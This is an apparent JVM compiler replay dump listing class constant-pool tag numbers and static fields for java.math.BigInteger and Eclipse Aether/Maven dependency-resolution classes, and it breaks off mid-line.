1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 100 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 12 100 12 12 12 12 12 1 12 12 12 12 1 1 12 12 12 1 1 12 1 12 12 12 12 12 12 12 12 1 12 12 12 1 12 12 12 12 1 1 12 1 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 1 7 12 12 12 12 12 12 12 12 12 1 12 12 12 12 100 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 100 12 1 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 1 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 1 100 12 12 12 12 12 12 12 12 12 100 12 12 12 12 12 1 1 1 1 12 12 12 12 12 12 12 1 12 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 100 12 1 1 12 1 1 12 12 12 12 12 12 12 1 12 1 1 1 1 12 12 1 100 12 12 12 12 1 1 12 1 1 1 12 1 1 12 1 7 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/math/BigInteger SMALL_PRIME_PRODUCT Ljava/math/BigInteger; java/math/BigInteger\nstaticfield java/math/BigInteger logCache [D 37\nstaticfield java/math/BigInteger LOG_TWO D 4604418534313441775\nstaticfield java/math/BigInteger ZERO Ljava/math/BigInteger; java/math/BigInteger\nstaticfield java/math/BigInteger ONE Ljava/math/BigInteger; java/math/BigInteger\nstaticfield java/math/BigInteger TWO Ljava/math/BigInteger; java/math/BigInteger\nstaticfield java/math/BigInteger NEGATIVE_ONE Ljava/math/BigInteger; java/math/BigInteger\nstaticfield java/math/BigInteger TEN Ljava/math/BigInteger; java/math/BigInteger\nstaticfield java/math/BigInteger serialPersistentFields [Ljava/io/ObjectStreamField; 6 [Ljava/io/ObjectStreamField;\nstaticfield java/math/BigInteger $assertionsDisabled Z 1\nciInstanceKlass java/util/NoSuchElementException 0 0 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass org/eclipse/aether/impl/RemoteRepositoryManager 1 0 13 100 1 100 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/DefaultRemoteRepositoryManager 1 1 353 10 7 12 1 1 1 10 7 12 1 1 1 10 12 1 1 7 1 11 100 12 1 1 1 7 1 8 1 10 7 12 1 1 1 9 12 1 1 8 1 9 12 1 1 8 1 8 1 8 1 11 7 12 1 1 1 11 7 12 1 1 1 11 12 1 1 11 12 1 1 7 1 10 12 1 11 12 1 1 11 7 12 1 1 11 12 1 1 7 1 11 7 12 1 1 1 10 12 1 1 10 12 1 1 11 12 1 1 11 7 1 11 10 7 12 1 1 1 10 12 1 1 10 12 1 1 11 12 1 1 11 7 12 1 1 1 100 1 10 12 1 10 12 1 1 11 7 12 1 1 1 10 12 1 1 10 12 1 1 11 12 1 9 12 1 1 11 7 12 1 1 11 12 1 1 7 1 10 12 1 11 7 12 1 1 1 9 7 12 1 1 1 11 12 1 1 8 1 10 12 1 1 10 12 1 11 12 1 1 10 12 1 1 10 12 1 1 10 12 1 1 10 12 1 1 10 12 1 8 1 11 12 1 11 12 1 10 12 1 10 100 12 1 1 10 10 11 12 1 1 10 11 12 1 10 12 1 10 7 12 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield org/eclipse/aether/internal/impl/DefaultRemoteRepositoryManager LOGGER Lorg/slf4j/Logger; org/slf4j/impl/MavenSimpleLogger\ninstanceKlass org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate 1 1 720 10 7 12 1 1 1 10 12 1 1 10 7 12 1 1 1 9 7 12 1 1 1 10 12 1 1 10 12 1 1 10 12 1 1 7 1 11 100 12 1 1 1 7 1 7 1 8 1 10 7 12 1 1 1 9 12 1 1 8 1 9 12 1 1 8 1 9 12 1 1 8 1 8 1 10 12 1 1 10 7 12 1 1 1 10 7 12 1 1 1 7 1 10 12 1 11 7 12 1 1 1 11 12 1 1 10 12 1 1 10 12 1 1 10 12 1 10 12 1 7 1 10 10 7 12 1 1 1 7 1 10 7 12 1 1 1 10 12 1 1 10 12 1 10 12 1 1 11 12 1 1 7 1 10 12 1 10 12 1 1 7 1 10 12 1 1 7 1 10 12 1 10 12 1 11 7 12 1 1 1 11 12 1 1 7 1 11 12 1 11 7 12 1 1 1 10 12 1 1 7 1 10 10 12 1 10 12 1 1 10 12 1 1 10 12 1 10 12 1 1 7 1 10 12 1 11 12 1 1 100 1 10 10 11 12 1 1 10 11 12 1 1 10 10 12 1 1 10 7 1 10 12 1 10 12 1 10 12 1 10 12 1 1 10 7 12 1 1 1 10 12 1 1 10 12 1 10 12 1 1 10 12 1 1 10 12 10 12 1 10 12 1 10 12 1 1 11 7 12 1 1 1 11 12 1 7 1 10 7 1 10 12 1 7 1 10 12 1 10 12 1 1 10 12 1 11 12 1 1 7 1 10 9 7 12 1 1 1 10 12 1 1 11 7 12 1 1 1 100 1 11 7 12 1 1 7 1 10 10 7 12 1 1 10 12 1 1 8 1 10 10 7 12 1 1 1 11 7 1 8 1 8 1 11 12 1 1 8 1 10 12 1 10 12 1 7 1 10 12 1 7 1 10 10 7 12 1 1 1 10 12 1 1 100 1 10 12 1 100 1 10 12 1 11 12 1 1 11 100 12 1 1 11 12 1 1 10 12 1 1 11 100 12 1 1 1 11 11 12 1 11 12 1 10 12 1 11 12 1 11 12 1 11 12 1 10 7 12 1 1 1 11 100 1 11 10 12 1 1 11 12 1 10 12 1 10 10 12 1 10 12 1 10 12 1 10 12 1 1 10 12 1 1 10 12 1 1 100 1 8 1 11 12 1 1 100 1 10 100 12 1 1 1 10 12 1 10 12 1 8 1 10 12 1 8 1 10 12 1 11 100 12 1 1 1 10 12 1 1 11 100 12 1 1 8 1 10 12 1 10 12 8 1 8 1 100 1 1 1 1 8 1 1 1 3 1 8 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector 1 1 492 10 7 12 1 1 1 10 12 1 7 1 10 10 12 1 1 7 1 10 12 1 11 7 12 1 1 1 11 7 12 1 1 1 11 12 1 1 11 7 12 1 1 1 11 12 1 1 11 7 12 1 1 1 11 12 1 1 11 100 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 1 10 7 12 1 1 1 10 12 1 11 12 1 1 9 12 1 1 10 7 12 1 1 1 9 12 1 1 9 12 1 10 12 1 1 9 12 1 1 10 7 12 1 1 1 10 12 1 1 10 12 1 1 10 12 1 1 11 12 1 10 12 1 1 9 12 1 1 9 12 1 1 10 12 1 1 9 12 1 1 10 12 1 1 100 1 10 100 12 1 1 1 7 1 11 12 1 11 7 12 1 1 1 10 12 1 1 10 12 1 1 10 12 1 1 10 7 1 10 12 1 1 10 7 12 1 1 1 10 12 1 1 10 12 1 1 11 7 12 1 1 10 12 1 1 11 12 1 11 12 1 1 10 12 1 11 12 1 11 12 1 10 100 12 1 1 11 12 1 10 7 12 1 1 1 10 12 1 10 7 12 1 1 1 10 12 1 1 10 12 1 1 10 12 1 10 12 1 10 12 1 1 9 12 1 1 10 12 1 10 7 12 1 1 1 9 12 1 9 12 1 1 10 12 1 11 7 12 1 1 1 10 12 1 1 10 12 1 10 7 1 10 12 1 1 10 12 1 10 12 1 1 10 12 1 10 12 1 1 10 12 1 10 12 1 1 9 12 1 1 11 7 12 1 1 1 10 12 1 1 100 1 10 12 1 9 12 1 1 100 1 1 1 1 8 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/impl/VersionRangeResolver 1 0 12 100 1 100 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/repository/internal/DefaultVersionRangeResolver 1 1 530 10 7 12 1 1 1 10 7 12 1 1 1 10 12 1 1 10 12 1 1 7 1 11 100 12 1 1 1 7 1 7 1 8 1 10 7 12 1 1 1 9 12 1 1 8 1 9 12 1 1 8 1 9 12 1 1 7 1 10 12 1 7 1 10 10 7 12 1 1 1 11 7 12 1 1 1 11 7 12 1 1 1 100 1 10 12 1 1 7 1 10 12 1 10 12 1 1 11 7 12 1 1 1 11 12 1 10 12 1 1 11 100 12 1 1 1 11 12 1 10 100 12 1 1 1 10 10 12 1 1 100 1 10 11 100 12 1 1 1 11 100 12 1 1 1 11 100 12 1 1 1 11 12 1 1 100 1 11 12 1 100 1 11 12 1 1 11 12 1 1 11 100 12 1 1 11 12 1 100 1 10 12 1 1 10 100 12 1 1 1 10 12 1 1 10 12 1 1 10 100 12 1 1 1 100 1 10 100 1 11 12 1 11 12 1 8 1 9 100 12 1 1 1 10 12 1 10 12 1 1 11 12 1 1 10 12 1 100 1 10 12 1 10 12 1 11 100 1 10 12 1 1 10 12 1 1 11 12 1 1 11 100 12 1 1 1 11 100 12 1 1 1 11 12 1 1 11 12 1 1 100 1 10 12 1 1 10 12 1 1 10 12 1 11 12 1 1 10 12 1 1 10 12 1 1 10 12 1 1 10 100 12 1 11 12 1 11 12 1 1 10 12 1 1 11 100 12 1 1 1 11 100 12 1 1 1 10 100 12 1 1 100 1 10 12 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 100 12 1 1 100 1 10 12 1 1 11 100 1 10 12 1 1 10 10 12 1 10 100 12 1 1 1 10 12 1 1 10 100 12 1 1 10 12 1 1 100 1 9 100 12 1 1 1 10 12 1 10 12 1 10 12 1 1 10 12 1 1 10 12 1 10 12 1 1 11 12 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/eclipse/aether/RepositorySystemSession 1 1 61 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/eclipse/aether/collection/UnsolvableVersionConflictException\ninstanceKlass org/eclipse/aether/transfer/TransferCancelledException\ninstanceKlass org/eclipse/aether/transfer/ChecksumFailureException\ninstanceKlass org/eclipse/aether/transfer/NoTransporterException\ninstanceKlass org/eclipse/aether/resolution/VersionRangeResolutionException\ninstanceKlass org/eclipse/aether/transfer/NoRepositoryLayoutException\ninstanceKlass org/eclipse/aether/repository/NoLocalRepositoryManagerException\ninstanceKlass org/eclipse/aether/transfer/MetadataTransferException\ninstanceKlass org/eclipse/aether/transfer/RepositoryOfflineException\ninstanceKlass org/eclipse/aether/transfer/ArtifactTransferException\ninstanceKlass org/eclipse/aether/resolution/VersionResolutionException\ninstanceKlass org/eclipse/aether/transfer/NoRepositoryConnectorException\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorException\ninstanceKlass org/eclipse/aether/installation/InstallationException\ninstanceKlass org/eclipse/aether/deployment/DeploymentException\ninstanceKlass org/eclipse/aether/resolution/ArtifactResolutionException\ninstanceKlass org/eclipse/aether/version/InvalidVersionSpecificationException\ninstanceKlass org/eclipse/aether/resolution/DependencyResolutionException\ninstanceKlass org/eclipse/aether/collection/DependencyCollectionException\nciInstanceKlass org/eclipse/aether/RepositoryException 0 0 64 10 100 12 1 1 1 10 12 1 8 1 10 100 12 1 1 1 10 100 12 1 1 1 10 100 12 1 1 1 10 100 12 1 1 100 1 10 12 1 10 12 1 1 10 12 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/version/InvalidVersionSpecificationException 0 0 50 10 100 12 1 1 1 9 100 12 1 1 1 100 1 10 12 1 8 1 10 12 1 1 8 1 10 12 1 1 10 12 1 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/version/VersionScheme 1 0 16 100 1 100 1 1 1 1 100 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/repository/ArtifactRepository 1 0 10 100 1 100 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/RequestTrace 1 1 49 7 1 10 12 1 1 10 12 1 1 10 12 1 10 7 12 1 1 9 12 1 1 9 12 1 1 10 12 1 1 10 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/artifact/Artifact 1 0 31 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/collection/DependencySelector 1 0 11 100 1 100 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/graph/DependencyNode 1 0 61 100 1 100 1 1 1 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorResult 1 1 175 10 7 12 1 1 1 8 1 10 7 12 1 1 1 7 1 9 7 12 1 1 1 10 12 1 1 9 12 1 1 10 7 12 1 1 1 9 12 1 1 9 12 1 9 12 1 1 9 12 1 9 12 1 9 12 1 10 12 1 1 9 12 1 1 11 7 12 1 1 1 7 1 10 11 12 1 1 11 100 1 11 9 12 1 1 100 1 10 10 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/graph/Dependency 1 1 174 10 7 12 1 1 1 10 7 12 1 1 1 10 12 1 10 7 12 1 1 1 10 12 1 10 7 12 1 1 8 1 10 7 12 1 1 1 7 1 9 12 1 1 8 1 9 12 1 1 9 12 1 1 9 12 1 1 11 12 1 1 10 7 1 10 12 1 1 9 12 1 10 10 12 1 10 12 1 1 11 7 1 11 7 1 11 11 12 1 1 11 11 12 1 11 100 1 10 10 12 1 1 10 12 1 1 8 1 10 12 1 10 12 1 1 10 12 1 8 1 8 1 10 12 1 10 12 1 1 10 11 12 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/repository/RemoteRepository 1 1 249 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 1 9 12 1 1 9 7 1 9 12 1 9 9 12 1 9 9 12 1 1 9 9 12 1 9 9 12 1 1 9 9 12 1 1 9 9 12 1 1 9 9 12 1 9 9 12 1 1 10 12 1 1 9 9 12 1 1 10 7 12 1 1 1 10 7 12 1 1 1 10 12 1 1 9 12 1 8 1 9 12 1 11 7 12 1 1 10 7 12 1 1 1 11 12 1 1 7 1 10 7 12 1 1 1 10 12 1 7 1 10 12 1 10 12 1 1 10 12 1 1 8 1 10 12 1 8 1 10 12 1 10 12 1 1 10 7 12 1 1 8 1 8 1 8 1 8 1 10 12 1 8 1 10 12 1 8 1 8 1 10 12 1 10 12 1 1 10 12 1 1 10 7 12 1 1 10 12 1 1 10 12 1 1 8 1 10 12 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield org/eclipse/aether/repository/RemoteRepository URL_PATTERN Ljava/util/regex/Pattern; java/util/regex/Pattern\nciInstanceKlass org/eclipse/aether/repository/RepositoryPolicy 1 1 109 7 1 8 1 8 1 10 12 1 1 10 7 12 1 1 9 12 1 1 8 1 9 12 1 1 9 12 1 100 1 10 12 1 8 1 10 12 1 1 10 12 1 1 10 12 1 8 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 10 12 1 1 10 7 1 10 12 1 1 1 1 8 1 1 8 1 1 1 8 1 1 8 1 1 1 8 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/resolution/VersionRangeRequest 1 1 107 10 7 12 1 1 1 10 7 12 1 1 1 9 7 12 1 1 1 8 1 9 12 1 1 10 12 1 1 10 12 1 1 10 12 1 1 9 12 1 1 11 100 12 1 1 1 100 1 10 11 12 1 1 9 12 1 1 100 1 10 10 12 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/resolution/VersionRangeResult 1 1 138 10 7 12 1 1 1 8 1 10 7 12 1 1 1 7 1 9 7 12 1 1 1 10 7 12 1 1 1 9 12 1 1 9 12 1 10 12 1 1 9 12 1 1 11 7 12 1 1 1 7 1 10 11 12 1 1 11 12 1 1 7 1 11 12 1 1 11 7 12 1 1 100 1 11 100 1 10 11 12 1 1 9 12 1 1 10 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/resolution/VersionRangeResolutionException 0 0 107 10 100 12 1 1 1 10 12 1 1 10 100 12 1 1 1 9 12 1 1 100 1 10 12 1 8 1 10 12 1 1 8 1 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 10 12 1 1 11 100 12 1 1 1 8 1 11 12 1 1 11 100 12 1 1 1 100 1 10 12 1 10 12 1 11 12 1 1 100 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/collection/CollectRequest 1 1 142 10 7 12 1 1 1 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 9 12 1 8 1 9 12 1 1 10 12 1 1 10 12 1 1 10 12 1 10 12 1 9 12 1 1 9 12 1 1 11 7 12 1 1 1 7 1 10 11 12 1 1 9 12 1 1 100 1 10 10 12 1 1 10 12 1 1 8 1 10 12 1 10 12 1 8 1 10 12 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/collection/CollectResult 1 1 93 10 7 12 1 1 1 8 1 10 7 12 1 1 1 7 1 9 7 12 1 1 1 10 7 12 1 1 1 9 12 1 1 9 12 1 11 100 12 1 1 1 100 1 10 11 12 1 1 9 12 1 1 10 12 1 1 10 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorRequest 1 1 107 10 7 12 1 1 1 10 7 12 1 1 1 9 7 12 1 1 1 8 1 9 12 1 1 10 12 1 1 10 12 1 1 10 12 1 1 9 12 1 1 11 100 12 1 1 1 100 1 10 11 12 1 1 9 12 1 1 100 1 10 10 12 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/collection/VersionFilter$VersionFilterContext 1 0 31 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/collection/VersionFilter 0 0 18 100 1 100 1 1 1 1 100 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext 1 1 114 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 1 9 12 1 1 100 1 10 100 12 1 1 1 10 12 1 9 12 1 1 10 12 1 1 11 100 12 1 1 1 10 12 1 1 10 12 1 1 10 100 12 1 1 10 100 12 1 1 1 11 12 1 1 100 1 10 10 12 1 1 8 1 10 12 1 10 12 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/PremanagedDependency 1 1 195 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 9 12 1 1 7 1 10 12 1 10 7 12 1 1 1 9 12 1 1 100 1 10 12 1 10 12 1 1 9 12 1 1 9 12 1 1 9 12 1 1 9 12 1 1 11 7 12 1 1 1 10 7 12 1 1 1 10 7 12 1 1 1 11 7 1 11 12 1 1 10 12 1 1 100 1 10 12 1 1 11 11 12 1 1 10 12 1 10 10 12 1 1 10 12 1 1 10 12 1 1 10 100 12 1 1 1 10 12 1 1 10 12 1 1 10 10 12 1 1 10 12 1 10 7 12 1 1 1 100 1 8 1 10 12 1 1 8 1 8 1 8 1 8 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/version/Version 1 0 13 100 1 100 1 100 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/graph/DefaultDependencyNode 1 1 278 10 7 12 1 1 1 9 7 12 1 1 1 10 7 12 1 1 1 9 12 1 1 7 1 10 12 1 9 12 1 1 10 7 12 1 1 1 9 12 1 1 9 12 1 9 12 1 8 1 9 12 1 1 10 12 1 1 9 12 1 1 11 7 12 1 1 1 11 11 12 1 1 10 12 1 1 11 12 1 1 10 12 1 1 11 12 1 1 10 12 1 11 12 1 10 12 1 1 11 12 1 10 12 1 11 12 1 1 10 12 1 1 11 12 1 1 10 12 1 1 11 12 1 11 7 12 1 1 1 7 1 10 12 1 10 12 1 100 1 8 1 10 12 10 12 1 1 11 7 1 11 7 1 9 12 1 1 9 12 1 1 10 12 1 1 10 12 1 1 9 12 1 1 8 1 10 7 12 1 1 1 11 12 1 1 10 12 1 11 12 1 1 11 7 12 1 1 1 11 12 1 1 11 7 12 1 1 11 12 1 1 11 12 1 1 11 12 1 10 10 10 100 12 1 1 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DataPool 1 1 290 10 7 12 1 1 1 11 7 12 1 1 1 9 7 12 1 1 1 11 7 12 1 1 1 7 1 9 12 1 9 12 1 8 1 7 1 8 1 10 7 12 1 1 1 10 12 1 1 11 12 1 1 8 1 8 1 8 1 9 12 1 1 9 12 1 9 12 1 7 1 10 12 1 9 12 1 1 9 12 1 11 12 1 1 7 1 7 1 10 7 12 1 1 1 11 12 1 7 1 10 12 1 1 7 1 10 12 1 9 100 12 1 1 1 7 1 10 12 1 10 7 1 10 12 1 10 12 1 10 12 7 1 10 12 1 7 1 10 12 1 1 7 1 10 12 1 7 1 10 100 1 7 1 10 8 1 10 12 1 1 8 1 10 12 1 1 10 12 1 10 7 12 1 1 8 1 8 1 8 1 7 1 10 10 12 1 9 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nstaticfield org/eclipse/aether/internal/impl/collect/DataPool ARTIFACT_POOL Ljava/lang/String; \"org.eclipse.aether.internal.impl.collect.DataPool$Artifact\"staticfield org/eclipse/aether/internal/impl/collect/DataPool DEPENDENCY_POOL Ljava/lang/String; \"org.eclipse.aether.internal.impl.collect.DataPool$Dependency\"staticfield org/eclipse/aether/internal/impl/collect/DataPool DESCRIPTORS Ljava/lang/String; \"org.eclipse.aether.internal.impl.collect.DataPool$Descriptors\"staticfield org/eclipse/aether/internal/impl/collect/DataPool NO_DESCRIPTOR Lorg/eclipse/aether/resolution/ArtifactDescriptorResult; org/eclipse/aether/resolution/ArtifactDescriptorResult\nciInstanceKlass org/eclipse/aether/collection/DependencyCollectionContext 1 0 17 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCollectionContext 1 1 72 10 7 12 1 1 1 9 7 12 1 1 1 10 7 12 1 1 1 9 12 1 1 9 12 1 1 9 12 1 1 10 12 1 1 10 100 12 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results 1 1 145 100 1 10 7 12 1 1 1 9 7 12 1 1 1 7 1 8 1 10 7 12 1 1 1 9 12 1 1 8 1 9 12 1 9 12 1 1 10 100 12 1 1 1 11 100 12 1 1 1 10 12 1 1 100 1 10 12 1 11 12 1 1 11 100 12 1 1 1 11 12 1 1 100 1 10 12 1 8 1 10 12 1 1 11 12 1 1 10 100 12 1 1 1 10 12 1 10 12 1 1 10 12 1 100 1 10 12 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args 1 1 70 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 1 11 7 12 1 1 1 9 12 1 1 7 1 100 1 8 1 10 7 12 1 1 1 9 12 1 9 12 1 1 9 12 1 1 9 12 1 1 9 12 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/collection/DependencyManager 1 0 11 100 1 100 1 